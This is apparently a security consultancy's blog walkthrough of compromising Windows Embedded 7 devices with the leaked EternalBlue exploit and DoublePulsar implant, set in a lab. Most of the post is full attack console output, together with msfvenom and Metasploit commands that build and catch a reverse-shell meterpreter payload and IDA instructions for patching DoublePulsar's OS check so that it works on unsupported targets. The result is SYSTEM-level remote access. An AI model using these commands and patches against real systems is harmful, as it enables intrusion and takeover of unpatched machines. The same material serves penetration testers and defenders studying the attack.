Our customized threat modeling
identifies vulnerabilities within your
security posture that puts your
most valuable organizational and
client data — the crown
jewels — at risk.
Our security audits and vulnerability
assessments are based on industry
standards and best practices to assess
weaknesses in your cloud environment
and network, as well as mobile
and web-based apps.
Our sophisticated testing services
delve into your network, smart
devices and other systems
to expose critical security
deficiencies.
The recent wave of WannaCry ransomware attacks has shed a lot of public light on the Windows SMB remote code execution vulnerability patched by MS17-010 and has fortunately resulted in organizations applying the security update to prevent further infections. While much of the focus has been on patching desktops and servers, it’s easy for many organizations to continue to neglect devices running the Windows Embedded 7 OS.
I am nearing completion of a very long and complex pen test of an environment made up completely of networked embedded devices, so when the Equation Group’s Fuzzbunch framework was released publicly, I figured it would be perfect for a few boxes I was struggling to gain complete access to.
I needed to do some tweaking to get the current tools to work, but in the end, the attack worked as expected and probably will continue to work for a long time given the general lack of patching of embedded devices. I found the following posts especially helpful as I worked through this exercise, so many thanks to the authors!
I first tried using the exploit/windows/smb/ms17_010_eternalblue
Metasploit module, but each attempt resulted in a blue screen no matter which payload I tried. I finally found that it has only been ported to x64 at this time, and the authors clearly state that attempts to exploit an x86 device will crash it.
I then figured I’d go straight to the Fuzzbench framework which I know works against x86 devices. I was able to easily plant a backdoor using the EternalBlue tool, but the DoublePulsar implant was not developed with Windows Embedded 7 in mind and exploit attempts would throw an error upon execution:
[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
[+] Backdoor returned code: 10 - Success!
[+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0xED937C35
SMB Connection string is: Windows Embedded Standard 7601 Service Pack 1
[-] ERROR unrecognized OS string
Target SP is: 1
[!] Plugin failed
[-] Error: Doublepulsar Failed
fb Payload (Doublepulsar) >
At this point, I figured my best option would be to make the original DoublePulsar implant work for my needs instead of trying to reverse engineer everything and create my own attack from scratch. I will not go in-depth into the background of these commands, since the two posts I linked to above already do a great job of explaining the setup process.
For this walk-through, I have three VMs set up as follows:
The initial attack is executed from the Win7 attack box using the EternalBlue attack within the Fuzzbunch framework with minimal deviations from the defaults:
[?] Default Target IP Address [] : 172.16.16.202
[?] Default Callback IP Address [] : 172.16.16.201
[?] Use Redirection [yes] : no
[?] Base Log directory [C:\shadowbroker\shadowbroker-master\windows\logs] :
[*] Checking C:\shadowbroker\shadowbroker-master\windows\logs for projects
Index Project
----- -------
0 Create a New Project
[?] Project [0] : 0
[?] New Project Name : EternalBlue
[?] Set target log directory to 'C:\shadowbroker\shadowbroker-master\windows\logs\eternalblue\z172.16.16.202'? [Yes] :
[*] Initializing Global State
[+] Set TargetIp => 172.16.16.202
[+] Set CallbackIp => 172.16.16.201
[!] Redirection OFF
[+] Set LogDir => C:\shadowbroker\shadowbroker-master\windows\logs\eternalblue\z172.16.16.202
[+] Set Project => eternalblue
fb > use EternalBlue
[!] Entering Plugin Context :: Eternalblue
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 172.16.16.202
[*] Applying Session Parameters
[*] Running Exploit Touches
[!] Enter Prompt Mode :: Eternalblue
Module: Eternalblue
===================
Name Value
---- -----
NetworkTimeout 60
TargetIp 172.16.16.202
TargetPort 445
VerifyTarget True
VerifyBackdoor True
MaxExploitAttempts 3
GroomAllocations 12
Target WIN72K8R2
[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout.
[?] NetworkTimeout [60] :
[*] TargetIp :: Target IP Address
[?] TargetIp [172.16.16.202] :
[*] TargetPort :: Port used by the SMB service for exploit connection
[?] TargetPort [445] :
[*] VerifyTarget :: Validate the SMB string from target against the target selected before exploitation.
[?] VerifyTarget [True] : false
[+] Set VerifyTarget => false
[*] VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled
for multiple exploit attempts.
[?] VerifyBackdoor [True] :
[*] MaxExploitAttempts :: Number of times to attempt the exploit and groom. Disabled for XP/2K3.
[?] MaxExploitAttempts [3] :
[*] GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do.
[?] GroomAllocations [12] :
[*] Target :: Operating System, Service Pack, and Architecture of target OS
0) XP Windows XP 32-Bit All Service Packs
*1) WIN72K8R2 Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs
[?] Target [1] :
[!] Preparing to Execute Eternalblue
[*] Mode :: Delivery mechanism
*0) DANE Forward deployment via DARINGNEOPHYTE
1) FB Traditional deployment from within FUZZBUNCH
[?] Mode [0] : 1
[+] Run Mode: FB
[?] This will execute locally like traditional Fuzzbunch plugins. Are you sure? (y/n) [Yes] :
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [172.16.16.202] :
[?] Destination Port [445] :
[+] (TCP) Local 172.16.16.202:445
[+] Configure Plugin Remote Tunnels
Module: Eternalblue
===================
Name Value
---- -----
DaveProxyPort 0
NetworkTimeout 60
TargetIp 172.16.16.202
TargetPort 445
VerifyTarget False
VerifyBackdoor True
MaxExploitAttempts 3
GroomAllocations 12
ShellcodeBuffer
Target WIN72K8R2
[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[*] Connecting to target for exploitation.
[+] Connection established for exploitation.
[*] Pinging backdoor...
[+] Backdoor not installed, game on.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
[+] Sending SMBv2 buffers
.............DONE.
[+] Sending large SMBv1 buffer..DONE.
[+] Sending final SMBv2 buffers......DONE.
[+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
DONE.
[*] Receiving response from exploit packet
[+] ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending egg to corrupted connection.
[*] Triggering free of corrupted buffer.
[*] Pinging backdoor...
[+] Backdoor returned code: 10 - Success!
[+] Ping returned Target architecture: x86 (32-bit)
[+] Backdoor installed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] CORE sent serialized output blob (2 bytes):
0x00000000 08 00 ..
[*] Received output parameters from CORE
[+] CORE terminated with status code 0x00000000
[+] Eternalblue Succeeded
fb Special (Eternalblue) >
First, let’s start up a listener in a screen
session on the Kali box to wait for the victim to call back to.
$ screen -S listener
$ msfconsole -q -x "use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST 172.16.16.200;set LPORT 4444; run; exit -y"
The screen session can be detached (left running) by hitting ctrl-a d
.
Next, we need to prepare a meterpreter DLL for injection using msfvenom on the Kali box.
$ msfvenom -p windows/meterpreter/reverse_tcp -f dll -o /tmp/met_launcher_4444.dll EXITFUNC=thread LHOST=172.16.16.200 LPORT=4444
We’ll need to get the DLL over to the Win7 attack box, so my preferred way of doing that on my own network is:
$ screen -S web
$ cd /tmp
$ python -m SimpleHTTPServer 8000
Again, the screen session can be detached (left running) by hitting ctrl-a d
.
Now over on the Win 7 attack box, we just open a browser to http://172.16.16.200:8000 and save the met_launcher_4444.dll
file to c:\met_launcher_4444.dll
.
Remember when DoublePulsar ran against the Windows Embedded 7 device, it resulted in an error message: [-] ERROR unrecognized OS string
.
So let’s open the Doublepulsar-1.3.1.exe
executable (found in the \windows\payloads\
subdirectory of the shadowbroker files) in IDA to see why that error message is generated and attempt to patch it to work with other OS versions.
We can see the string at 0x00406148
:
Double-clicking on the string will bring it up in the .rdata
section:
Double-clicking the DATA XREF
section will bring it up in the .text
section. Right-clicking and choosing Graph view
will provide a better idea of the flow of this routine.
This gives us a graph that looks very promising for something like an OS version checking routine. Notice the section that we jumped to is in the bottom right corner of this graph, so we can traverse upwards to see how we got here.
A few levels up, we find the Windows 7 check. The problem we’re having is our OS version string isn’t matching the one checked here, so the code drops down to the next OS check. The best thing to do would be to add our own branch here to check specifically for the OS version string we expect, but I’m going to take a terrible shortcut for the purposes of this post to determine if this attack is even viable with the OS before spending a lot of time making a proper patch.
So the easiest thing to do here is just simply change the jz
to a jnz
. First, let’s
check what the opcodes for jz
and jnz
are so we know what to change. It looks like jz
is 74
and jnz
is 75
.
We can change the bytes by using the Edit | Patch program | Change bytes
menu in IDA. Note it starts with the 74
opcode that we expected. Simply changing that to 75
will switch the path the program takes to kick this down the Win7 path. Again, this is really hacky and a terrible shortcut but we can always come back and make a proper patch after verifying this works.
Now we can see the updated jnz
call.
In order to patch the exe, we’ll first need to create a DIF file by going to File | Produce File | Create DIF file
. Then, we can use @stalkr_’s
script to patch the executable.
C:\Users\Admin\Desktop>c:\Python26\python.exe idadif.py c:\shadowbroker\shadowbroker-master\windows\payloads\Doublepulsar-1.3.1.exe c:\shadowbroker\shadowbroker-master\windows\payloads\Doublepulsar-1.3.1.0.dif
Patching file 'c:\\shadowbroker\\shadowbroker-master\\windows\\payloads\\Doublepulsar-1.3.1.exe' with 'c:\\shadowbroker\\shadowbroker-master\\windows\\payloads\\Doublepulsar-1.3.1.0.dif'
Done
Now that we have a listener setup on Kali, and a DLL ready to be injected that will make the victim call back to Kali, all we have left to do is actually inject the DLL using our modified version of DoublePulsar.
[!] Plugin Variables are NOT Valid
[?] Prompt For Variable Settings? [Yes] :
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout.
[?] NetworkTimeout [60] :
[*] TargetIp :: Target IP Address
[?] TargetIp [172.16.16.202] :
[*] TargetPort :: Port used by the Double Pulsar back door
[?] TargetPort [445] :
[*] Protocol :: Protocol for the backdoor to speak
*0) SMB Ring 0 SMB (TCP 445) backdoor
1) RDP Ring 0 RDP (TCP 3389) backdoor
[?] Protocol [0] :
[*] Architecture :: Architecture of the target OS
*0) x86 x86 32-bits
1) x64 x64 64-bits
[?] Architecture [0] :
[*] Function :: Operation for backdoor to perform
*0) OutputInstall Only output the install shellcode to a binary file on disk.
1) Ping Test for presence of backdoor
2) RunDLL Use an APC to inject a DLL into a user mode process.
3) RunShellcode Run raw shellcode
4) Uninstall Remove's backdoor from system
[?] Function [0] : 2
[+] Set Function => RunDLL
[*] DllPayload :: DLL to inject into user mode
[?] DllPayload [] : c:\met_launcher_4444.dll
[*] DllOrdinal :: The exported ordinal number of the DLL being injected to call
[?] DllOrdinal [1] :
[*] ProcessName :: Name of process to inject into
[?] ProcessName [lsass.exe] : spoolsv.exe
[+] Set ProcessName => spoolsv.exe
[*] ProcessCommandLine :: Command line of process to inject into
[?] ProcessCommandLine [] :
[!] Preparing to Execute Doublepulsar
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [172.16.16.202] :
[?] Destination Port [445] :
[+] (TCP) Local 172.16.16.202:445
[+] Configure Plugin Remote Tunnels
Module: Doublepulsar
====================
Name Value
---- -----
NetworkTimeout 60
TargetIp 172.16.16.202
TargetPort 445
DllPayload c:\met_launcher_4444.dll
DllOrdinal 1
ProcessName spoolsv.exe
ProcessCommandLine
Protocol SMB
Architecture x86
Function RunDLL
[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
[+] Backdoor returned code: 10 - Success!
[+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x6B075D17
SMB Connection string is: Windows Embedded Standard 7601 Service Pack 1
Target OS is: 7 x86
Target SP is: 1
[+] Backdoor installed
[+] DLL built
[.] Sending shellcode to inject DLL
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Command completed successfully
[+] Doublepulsar Succeeded
fb Payload (Doublepulsar) >
It looks like this worked, so let’s flip over to our screen
session on the Kali box.
$ screen -dr listener
And here is our Meterpreter session running under the SYSTEM account!
To make this attack better, the DoublePulsar exe should really be patched with some proper code and incorporated back into the master Github repo, but that will have to wait for now. Regardless, it looks like work is underway to port the attack over to x86 in Metasploit anyways, so once that happens it will be much easier to attack most Windows-based embedded devices.
Please share this post if you found it useful and reach out if you have any feedback or questions!
You might not know how at-risk your security posture is until somebody breaks in . . . and the consequences of a break in could be big. Don't let small fractures in your security protocols lead to a breach. We'll act like a hacker and confirm where you're most vulnerable. As your adversarial allies, we'll work with you to proactively protect your assets. Schedule a consultation with our Principal Security Consultant to discuss your project goals today.
© 2024 FRACTURE LABS, LLC ALL RIGHTS RESERVED